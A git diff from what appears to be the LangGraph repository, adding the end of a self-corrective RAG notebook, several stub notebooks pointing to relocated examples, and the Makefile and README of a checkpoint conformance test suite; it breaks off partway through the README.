"metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "movies starring jason momoa\n", + "Jason Momoa stars in the movies \"Aquaman\" and \"Furious 7.\"\n" + ] + }, + { + "data": { + "text/plain": [ + "GradeAnswer(binary_score='yes')" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeAnswer(BaseModel):\n", + " \"\"\"Binary score to assess answer addresses question.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer addresses the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeAnswer)\n", + "\n", + "# Prompt\n", + "answer_prompt = hub.pull(\"efriis/self-rag-answer-grader\")\n", + "\n", + "answer_grader = answer_prompt | structured_llm_grader\n", + "print(question)\n", + "print(generation)\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "c6f4c70e-1660-4149-82c0-837f19fc9fb5", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "movies starring jason momoa\n" + ] + }, + { + "data": { + "text/plain": [ + "'Which movies feature Jason Momoa in a leading role?'" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model=\"gpt-3.5-turbo-0125\", temperature=0)\n", + "\n", + "# Prompt\n", + "re_write_prompt = hub.pull(\"efriis/self-rag-question-rewriter\")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "print(question)\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "276001c5-c079-4e5b-9f42-81a06704d200", + "metadata": {}, + "source": [ + "# Graph \n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "## Graph state" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "f1617e9e-66a8-4c1a-a1fe-cc936284c085", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "add509d8-6682-4127-8d95-13dd37d79702", + "metadata": {}, + "outputs": [], + "source": [ + "### Nodes\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.invoke(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "09fc91b4", + "metadata": {}, + "outputs": [], + "source": [ + "### Edges\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score.binary_score\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " pprint(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "61cd5797-1782-4d78-a277-8196d13f3e1b", + "metadata": {}, + "source": [ + "## Build Graph\n", + "\n", + "The just follows the flow we outlined in the figure above." + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "id": "0e09ca9f-e36d-4ef4-a0d5-79fdbada9fe0", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "\n", + "# Build graph\n", + "workflow.add_edge(START, \"retrieve\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"retrieve\")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\",\n", + " \"useful\": END,\n", + " \"not useful\": \"transform_query\",\n", + " },\n", + ")\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "id": "fb69dbb9-91ee-4868-8c3c-93af3cd885be", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "'Daniel Craig stars as 007 in \"Skyfall\" (2012) and \"Spectre\" (2015).'\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"Movies that star Daniel Craig\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4138bc51-8c84-4b8a-8d24-f7f470721f6f", + "metadata": {}, + "outputs": [], + "source": [ + "inputs = {\"question\": \"Which movies are about aliens?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "42369ab8-322d-434a-b5dd-2266e4cb2903", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.4" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/react-agent-from-scratch.ipynb b/examples/react-agent-from-scratch.ipynb new file mode 100644 index 0000000..37e605c --- /dev/null +++ b/examples/react-agent-from-scratch.ipynb @@ -0,0 +1,40 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "294995c4", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/react-agent-from-scratch.ipynb)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/examples/react-agent-structured-output.ipynb b/examples/react-agent-structured-output.ipynb new file mode 100644 index 0000000..8a4bd9b --- /dev/null +++ b/examples/react-agent-structured-output.ipynb @@ -0,0 +1,40 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "40f0d107", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/react-agent-structured-output.ipynb)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/examples/reflection/reflection.ipynb b/examples/reflection/reflection.ipynb new file mode 100644 index 0000000..63fea05 --- /dev/null +++ b/examples/reflection/reflection.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "658773a2", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/reflection/reflection.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "1cb60657", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/reflexion/reflexion.ipynb b/examples/reflexion/reflexion.ipynb new file mode 100644 index 0000000..481395d --- /dev/null +++ b/examples/reflexion/reflexion.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "caf07859", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/reflexion/reflexion.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "cd1df0e0", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rewoo/rewoo.ipynb b/examples/rewoo/rewoo.ipynb new file mode 100644 index 0000000..add5406 --- /dev/null +++ b/examples/rewoo/rewoo.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "961f43ec", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/rewoo/rewoo.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "7f00c427", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/run-id-langsmith.ipynb b/examples/run-id-langsmith.ipynb new file mode 100644 index 0000000..19f46a1 --- /dev/null +++ b/examples/run-id-langsmith.ipynb @@ -0,0 +1,40 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "bbd6e9b8", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/run-id-langsmith.md)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/examples/self-discover/self-discover.ipynb b/examples/self-discover/self-discover.ipynb new file mode 100644 index 0000000..ccdf3b7 --- /dev/null +++ b/examples/self-discover/self-discover.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "f6db1873", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/self-discover/self-discover.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "219a78f9", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.12.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/subgraph.ipynb b/examples/subgraph.ipynb new file mode 100644 index 0000000..d9822a8 --- /dev/null +++ b/examples/subgraph.ipynb @@ -0,0 +1,40 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "f49876e1", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/subgraph.md)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/examples/tool-calling.ipynb b/examples/tool-calling.ipynb new file mode 100644 index 0000000..ccec5fe --- /dev/null +++ b/examples/tool-calling.ipynb @@ -0,0 +1,40 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "7fd8bd65", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/how-tos/tool-calling.md)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/examples/tutorials/sql-agent.ipynb b/examples/tutorials/sql-agent.ipynb new file mode 100644 index 0000000..b8ce442 --- /dev/null +++ b/examples/tutorials/sql-agent.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "83c2223f", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/sql/sql-agent.md)" + ] + }, + { + "cell_type": "markdown", + "id": "57f924b1", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.9" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/tutorials/tnt-llm/tnt-llm.ipynb b/examples/tutorials/tnt-llm/tnt-llm.ipynb new file mode 100644 index 0000000..5c562ac --- /dev/null +++ b/examples/tutorials/tnt-llm/tnt-llm.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "11140167", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/tnt-llm/tnt-llm.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "1a2ba3e6", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/usaco/usaco.ipynb b/examples/usaco/usaco.ipynb new file mode 100644 index 0000000..f4667a7 --- /dev/null +++ b/examples/usaco/usaco.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "9dffdb54", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/usaco/usaco.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "579c9959", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/web-navigation/web_voyager.ipynb b/examples/web-navigation/web_voyager.ipynb new file mode 100644 index 0000000..28990d5 --- /dev/null +++ b/examples/web-navigation/web_voyager.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "007ea2e9", + "metadata": {}, + "source": [ + "[This file has been moved](https://github.com/langchain-ai/langgraph/blob/23961cff61a42b52525f3b20b4094d8d2fba1744/docs/docs/tutorials/web-navigation/web_voyager.ipynb)" + ] + }, + { + "cell_type": "markdown", + "id": "f0d7b895", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. The examples previously found here have been moved to the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview)." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.2" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/libs/checkpoint-conformance/Makefile b/libs/checkpoint-conformance/Makefile new file mode 100644 index 0000000..26ca626 --- /dev/null +++ b/libs/checkpoint-conformance/Makefile @@ -0,0 +1,12 @@ +.PHONY: format lint test + +format: + uv run ruff format . + uv run ruff check --fix . + +lint: + uv run ruff check . + uv run ty check + +test: + uv run pytest $(TEST) diff --git a/libs/checkpoint-conformance/README.md b/libs/checkpoint-conformance/README.md new file mode 100644 index 0000000..e8a8a8a --- /dev/null +++ b/libs/checkpoint-conformance/README.md @@ -0,0 +1,134 @@ +# LangGraph Checkpoint Conformance + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-checkpoint-conformance?label=%20)](https://pypi.org/project/langgraph-checkpoint-conformance/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-checkpoint-conformance)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-checkpoint-conformance)](https://pypistats.org/packages/langgraph-checkpoint-conformance) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-checkpoint-conformance +``` + +## 🤔 What is this? + +This library provides a conformance test suite for [LangGraph](https://github.com/langchain-ai/langgraph) checkpointer implementations. It validates that a `BaseCheckpointSaver` subclass correctly implements the checkpoint storage contract — blob round-trips, metadata preservation, namespace isolation, incremental channel updates, and more. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph/). For conceptual guides on persistence and memory, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +## Quick start + +Register your checkpointer with `@checkpointer_test` and run `validate()`: + +```python +import asyncio +from langgraph.checkpoint.conformance import checkpointer_test, validate + +@checkpointer_test(name="MyCheckpointer") +async def my_checkpointer(): + saver = MyCheckpointer(...) + yield saver + # cleanup runs after yield + +async def main(): + report = await validate(my_checkpointer) + report.print_report() + assert report.passed_all_base() + +asyncio.run(main()) +``` + +Or in a pytest test: + +```python +import pytest +from langgraph.checkpoint.conformance import checkpointer_test, validate + +@checkpointer_test(name="MyCheckpointer") +async def my_checkpointer(): + yield MyCheckpointer(...) + +@pytest.mark.asyncio +async def test_conformance(): + report = await validate(my_checkpointer) + report.print_report() + assert report.passed_all_base() +``` + +## Capabilities + +The suite tests **base** capabilities (required) and **extended** capabilities (optional, auto-detected): + +| Capability | Required | Method | +|---|---|---| +| `put` | yes | `aput` | +| `put_writes` | yes | `aput_writes` | +| `get_tuple` | yes | `aget_tuple` | +| `list` | yes | `alist` | +| `delete_thread` | yes | `adelete_thread` | +| `delete_for_runs` | no | `adelete_for_runs` | +| `copy_thread` | no | `acopy_thread` | +| `prune` | no | `aprune` | +| `delta_channel_history` | no | `aget_delta_channel_history` | + +Extended capabilities are detected by checking whether the method is overridden from `BaseCheckpointSaver`. If not overridden, those tests are skipped. + +## Options + +### Progress output + +```python +from langgraph.checkpoint.conformance.report import ProgressCallbacks + +# Dot-style progress (. per pass, F per fail) +report = await validate(my_checkpointer, progress=ProgressCallbacks.default()) + +# Verbose (per-test names + stacktraces on failure) +report = await validate(my_checkpointer, progress=ProgressCallbacks.verbose()) +``` + +### Skip capabilities + +```python +@checkpointer_test(name="MyCheckpointer", skip_capabilities={"prune"}) +async def my_checkpointer(): + yield MyCheckpointer(...) +``` + +### Run specific capabilities + +```python +report = await validate(my_checkpointer, capabilities={"put", "list"}) +``` + +### Lifespan (one-time setup/teardown) + +For expensive setup like database creation: + +```python +async def db_lifespan(): + await create_database() + yield + await drop_database() + +@checkpointer_test(name="PostgresSaver", lifespan=db_lifespan) +async def pg_checkpointer(): + async with PostgresSaver.from_conn_string(CONN_STRING) as saver: + yield saver +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and 